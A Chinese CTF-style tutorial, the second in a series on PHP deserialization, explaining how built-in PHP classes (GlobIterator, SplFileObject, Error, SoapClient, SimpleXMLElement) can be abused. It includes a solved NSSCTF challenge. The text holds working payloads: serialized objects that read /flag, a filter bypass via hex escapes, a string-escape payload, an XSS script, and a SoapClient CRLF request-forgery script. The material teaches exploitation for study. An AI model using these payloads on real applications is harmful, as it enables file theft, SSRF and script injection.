前言

承接上文php反序列化由浅入深 (一),本文将要介绍的是php原生类

文章作者Hardlic,本文属i春秋原创奖励计划,未经许可禁止转载。原文地址:https://bbs.ichunqiu.com/thread-63353-1-1.html

原生类

原生类就是 php库中已经封装好的类,常见原生可用类包括了目录遍历 文件读取 ssrf xss xxe等漏洞,如果想看较完整的原生类可以通过以下脚本(以下原生类在php5.3版本之前几乎没有限制)

<?php
$classes = get_declared_classes();
foreach ($classes as $class) {
   $methods = get_class_methods($class);
   foreach ($methods as $method) {
       if (in_array($method, array(
           '__destruct',
           '__toString',
           '__wakeup',
           '__call',
           '__callStatic',
           '__get',
           '__set',
           '__isset',
           '__unset',
           '__invoke',
           '__set_state'
       ))) {
           print $class . '::' . $method . "\n";
       }
   }
}

1683090417301-8fc2a511-4f3f-4fa3-a19d-8ba26179c0b2.png
其中在web安全中常见大致分为几类

目录遍历

当遇到echo输出时就会触发这些原生类中的tostring从而输出指定目录排序下的第一个文件名

  1. DirectoryIterator
  2. FilesystemIterator
  3. GlobIterator

因为只输出第一个文件名所以没什么用

<?php 
//DirectoryIterato、FilesystemIterator用法相同 如果是GlobIterator要加*
$dir=new DirectoryIterator("./"); 
$dir=new GlobIterator("./f*"); 

//输出第一个文件名 输出的:.
echo $dir;

//当使用DirectoryIterato、FilesystemIyerator时如果没有foreach 可以采用glob协议遍历
//$dir=new DirectoryIterator("glob://*")
//循环输出
foreach($dir as $tmp){
  echo($tmp);
}

读取文件

SplFileObject 类和 SplFileinfo为单个文件的信息提供了一个高级的面向对象的接口,可以用于对文件内容的遍历、查找、操作等

<?php
$dir=new SplFileObject("/flag.txt");
echo $dir;
//也是读取一行

例题一[NSSCTF]prize_p5

<?php
  error_reporting(0);

class catalogue{
  public $class;
  public $data;
  public function __construct()
  {
    $this->class = "error";
    $this->data = "hacker";
  }
  public function __destruct()
  {
    echo new $this->class($this->data);
  }
}

class error{
  public function __construct($OTL)
  {
    $this->OTL = $OTL;
    echo ("hello ".$this->OTL);
  }
}

class escape{                                                                   
  public $name = 'OTL';                                                 
  public $phone = '123666';                                             
  public $email = 'sweet@OTL.com';                          
}

function abscond($string) {
  $filter = array('NSS', 'CTF', 'OTL_QAQ', 'hello');
  $filter = '/' . implode('|', $filter) . '/i';
  return preg_replace($filter, 'hacker', $string);
}
 
if(isset($_GET['cata'])){
  if(!preg_match('/object/i',$_GET['cata'])){
    unserialize($_GET['cata']);
  }
  else{
    $cc = new catalogue(); 
    unserialize(serialize($cc));           
  }    
  if(isset($_POST['name'])&&isset($_POST['phone'])&&isset($_POST['email'])){
    if (preg_match("/flag/i",$_POST['email'])){
      die("nonono,you can not do that!");
    }
    $abscond = new escape();
    $abscond->name = $_POST['name'];
    $abscond->phone = $_POST['phone'];
    $abscond->email = $_POST['email'];
    $abscond = serialize($abscond);
    $escape = get_object_vars(unserialize(abscond($abscond)));
    if(is_array($escape['phone'])){
      echo base64_encode(file_get_contents($escape['email']));
    }
    else{
      echo "I'm sorry to tell you that you are wrong";
    }
  }
}
else{
  highlight_file(__FILE__);
}
?> 

分析

题目中包含三个类和一个函数然后就是主函数

catalogue类:包括public属性的class和data和构造析构函数,在析构函数中,我们始终可以控制括号外和括号内的参数,所以这里我们能在catalogue destruct结束后构造任意包含一个参数的类包括原生类,这里可以想到一些例如目录遍历文件读取的一些基本操作
error类:大概就是返回这个函数的参数信息
escape类:看起来就是初始化了三个属性

abscond函数:负责将匹配到的字符串进行替换,并且有长度差这时候可以猜测考点是字符逃逸

主函数:在if中可以GET传入一个不含object字符的cata序列化字符串,else内部的看上去没有可控的地方,再往下我们可以POST传入三个参数name、phone、email(过滤了大小写flag),并新建了一个escape类的abscond对象并允许我们传入name phone email来覆盖原本的abscond对象的属性,在通过字符串替换函数之后,便可以被反序列化然后一起赋值给escape数组,这时候再判断phone是不是数组,最后输出base64后的email参数的文件内容

那现在我们就是有两条路可以走 一条就是绕过object可直接进行文件读取操作的原生类函数(稍稍简单一点->exp1),另一条就是通过字符串逃逸导致恶意代码被反序列化导致任意文件写入(->exp2)

exp

#在无object的情况下正常的payload

<?php
 
class catalogue
{
    public $class="GlobIterator";
    public $data="/*";
}
echo serialize(new catalogue());
-------------------------------分割线------------------------------------------------
<?php
 
class catalogue
{
    public $class="SplFileObject";
    public $data="/flag";
}
echo serialize(new catalogue());

//O:9:"catalogue":2:{s:5:"class";s:14:"SplFileObject ";s:4:"data";s:5:"/flag";}
//这里就涉及到一个小知识点在序列化中将s该成S就可以识别内容中的16进制
//所以在有object过滤的情况下的payload:
//O:9:"catalogue":2:{s:5:"class";s:14:"SplFileO\62ject ";s:4:"data";s:5:"/flag";}

exp2

字符逃逸

:::info
字符逃逸也是反序列化的常见考点之一,他的本质是溢出攻击,这里我就不展开细讲了,如果师傅们对概念完全陌生可以去找找文章看看
基础知识指路:https://blog.csdn.net/luochen2436/article/details/122176842
https://blog.csdn.net/qq_36618918/article/details/122218358
:::
通过多个CTF和hello与hacker的差值导致我们可以通过补充后面多余的字符串导致原本初始化的数据被覆盖,而这个差值的计算就取决于我们需要构造的恶意字符串的长度,在这里我们通过17个ctf和两个hello构造了53个恶意字符可以被写入,从而覆盖原本序列化后的内容

";s:5:"phone";a:1:{i:0;i:1;}s:5:"email";s:5:"/flag";}

所以我们再任意传入cate phone email就能导致flag文件被读取了,最后通过base64解密得到flag,师傅们也可以进一步去寻找收缩的方式去攻击,我在这里就不多赘述了
1683017081292-034e1b71-e402-4fd9-82bf-29a28c7f859d.png
1683017289884-a81e12fd-19b2-40c3-9a36-246e26ba97d3.png

Error和Exception

Error类(只适用php7)中存在一个tostring()方法,如果我们向它传入一个script就可以实现XSS弹窗了
Exception类继承于Error类,但是他可以用于PHP5和PHP7,用法相同便不再赘述了。这两个类都可以传递两个参数
XSS

<?php
  $a = new Error("<script>alert('XSS')</script>");
echo urlencode(serialize($a));
?>

hash绕过

正是因为上面的可以传递两个参数的原因所以可以进行hash绕过

<?php
  $a =new Error("hash",1);$b =new Error("hash",2);//注意这里得写在同一行不然md5不相同

if($a!==$b)
  print("not equal!");//输出 not equal!
print(“\r\n”);
if(md5($a)===md5($b))
  print("md5 equal!");//输出 md5 equal!

SSRF

SoapClient

该类存在于php5、php7通过SOAP协议(简单对象访问协议),采用HTTP作为底层通讯协议,基于xml的web通信服务协议。在php中想支持这个协议我们需要关闭php.ini里面的soap拓展注释就可以了在我们完成准备工作之后,我们来看一个简单的示例代码,当SoapClient

    <?php
$a = new SoapClient(null,array('uri'=>'a', 'location'=>'http://127.0.0.1:2333/test'));
$b = serialize($a);
echo $b;
$c = unserialize($b);    
$c->not_exists_function();
?>

在uri中我注入了a这个字符,出现在了SOAPAction,也就是说这一段是可控的
1683090623379-eb0d298f-e19a-4a44-aab3-78d83f7c5521.png

<?php
$a = new SoapClient(null,array('uri'=>"a\r\nhelloworld\r\n", 'location'=>'http://127.0.0.1:2333/'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->not_exists_function();
?>//当我们将payload加入\r\n时就会出现CRLF注入,如果我们同时构造两个\r\n,我们就有机会发送POST包

但是如若我们需要发送其他格式的数据包我们就需要构造content-type字段

  <?php
  $target = 'http://127.0.0.1:2333/';
  $post_string = 'data={"Hello":"World"}';
  $headers = array(
      'X-Forwarded-For: 127.0.0.1',
      'Cookie: PHPSESSID=my_session'
      );
  $b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/json^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri'      => "aaab"));
  
  $aaa = serialize($b);
  $aaa = str_replace('^^',"\r\n",$aaa);
  $aaa = str_replace('&','&',$aaa);
  echo $aaa;
  
  $c = unserialize($aaa);
  $c->not_exists_function();
  ?>

1683092951343-b5c84a50-cde7-47b2-8dbc-b2ceadb269bf.png
这样我们就成功发送了一个因为CRLF注入导致的json数据的包

CRLF注入

info
指的是使用回车符(CR,ASCII 13,\r,%0d) 和换行符(LF,ASCII 10,\n,%0a),从而导致http中的其他参数被污染,可能造成Cookie会话固定和反射xss,而在ssrf中则可以通过CRLF注入进行可发送可控制post包内数据的的内网探测

XXE

利用SimpleXMLElement 进行xxe

SimpleXML 可把 XML 文档(或 XML 字符串)转换为对象
1683098673588-b5808c33-3132-4164-8aa5-e51ec78aca0e.png
所以我们可以通过设置is_url参数为ture调用远程xml文件实现xxe攻击
下面是php文档中标准SimpleXML的类构造方法,可以与上面相对应着看,只有第一个参数data是必须的,剩下都是可选,我们主要在意的还是$data和$dataIsURL参数

![1683201289861-dbed8f32-a51f-4bb2-8504-ff269a0ffcbe.png][7]
$data:data参数的主体就是正确的xml字符串或者xml路径
$dataIsURL:当这个参数是true时 我们可以往data内传入xml路径以解析,包括远程路径,这时候就能远程解析造成xxe漏洞了

xxe漏洞指路->https://blog.csdn.net/smli_ng/article/details/106688343
SimpleXMLElement 类指路->https://www.php.net/manual/en/class.simplexmlelement.php

预告

下篇更新几道难度较大的例题